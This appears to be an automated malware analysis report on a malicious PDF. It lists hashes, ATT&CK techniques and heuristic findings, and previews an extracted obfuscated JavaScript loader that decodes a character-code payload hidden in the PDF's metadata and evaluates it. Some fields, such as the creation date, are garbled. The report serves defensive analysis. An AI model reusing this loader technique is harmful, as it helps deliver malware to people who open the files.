Malicious PDF — malware analysis report

Static analysis result for SHA-256 7b7eec3f3684f27b…

MALICIOUS

PDF

855 B Created: 2011-72-51 03:25:00 Authoring application: t9.5*w,t4.t5*w,t8.5*w,8*w,t4.5*w,t6.5*w,t8.75*w,t5.75*w,15.t5*w,9.75*w,9.t5*w,t9.t5*w,14.t5*w,1t*w,14.t5*w
MD5: c02a6afeab6c4780016c26a0abd63d10 SHA-1: 39ab47cf9d083d3f9746c3f3f699a83203773f4b SHA-256: 7b7eec3f3684f27bcab85cae85b0ebfa4117cc8da83973c0950a22fa7ab2c3f2
114 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF sample contains embedded JavaScript that is obfuscated but appears to be designed to download and execute a second-stage payload. The JavaScript uses String.fromCharCode and dynamic function calls, consistent with exploit techniques. The ML classifier strongly indicates maliciousness, and the heuristics point to a known JavaScript exploit cluster within PDFs.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js
a1ad758dc851f233f7acaaf3eb29d1f0c2e61eac4c9904eb32b45cf2e1fdc7e4		 pdf-javascript-stream PDF /JS object 1 at offset 0x11C 339 bytes
Preview script
First 1,000 lines of the extracted script
var w = 4;

var ivcsw = this.producer;

var skidw=function(){return {e:this}}().e;

vwunh=skidw[this.subject];

kxoeq=vwunh(this.title);

ivcsw = ivcsw.replace(/t/g,'2');

aaecj = vwunh('['+ivcsw+']');

var s = '';

for (i = 0; i < aaecj.length; i++) {

.eqjbf = aaecj[i];

.s += kxoeq(eqjbf);

}

vwunh(s);

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